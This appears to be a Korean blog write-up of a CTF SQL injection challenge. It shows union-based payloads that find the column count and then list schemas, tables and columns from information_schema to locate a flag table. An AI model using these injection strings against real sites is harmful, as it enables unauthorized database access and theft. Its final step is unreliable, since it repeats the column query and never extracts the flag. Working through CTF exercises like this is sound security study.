normaltic ctf 문제 풀이

여기서 ma 를 검색시 mario와 normaltic 이 결과로 뜨게 된다. 즉 like 문이 들어가 있는 것이다.

이 문제 해결을 위해서는 union을 사용해야하는데 union의 경우 컬럼 수와 일치해야 결과를 나타내기 때문에

' order by 5 # 를 이용하여 5를 대입시 결과를 나타내지 않는 것으로 보아 컬럼 수는 4개 이다.

그 다음으로 해야할 것은 union을 통한 데이터 내용 추출이다.

db 데이터명등의 내용을 알아야 데이터를 가져올 수 있기 때문이다.

순서는

db 이름

table 이름

column 이름

이렇게 접근해야한다.

 

db 접근 코드
mario%' union select schema_name, '2', '3', '4' from information_schema.schemata#

위에서 데이터베이스 이름을 알았으니 다음으로 해야할 것은 table이다.

 mario%' union select table_name, '2', '3', '4' from information_schema.tables where table_schema='sqli_1' #

 이미 위에서 db의 이름을 알았으니 내가 원하는 db만 보기 위해 where 문을 통해 조건을 주는 것이다.

flag_table이 우리가 찾을 flag인 것을 확인하였다. 마지막으로 table 명만 확인하면 끝이다.

mario%' union select column_name, '2', '3', '4' from information_schema.columns where table_name='flag_table' #

테이블 명이 flag 라는 것을 알았으니 마지막으로 union에서 어떤 테이블에서 무슨 컬럼을 가져올건지만 쓰면 끝이다.

mario%' union select column_name, '2', '3', '4' from information_schema.columns where table_name='flag_table' #

+ Recent posts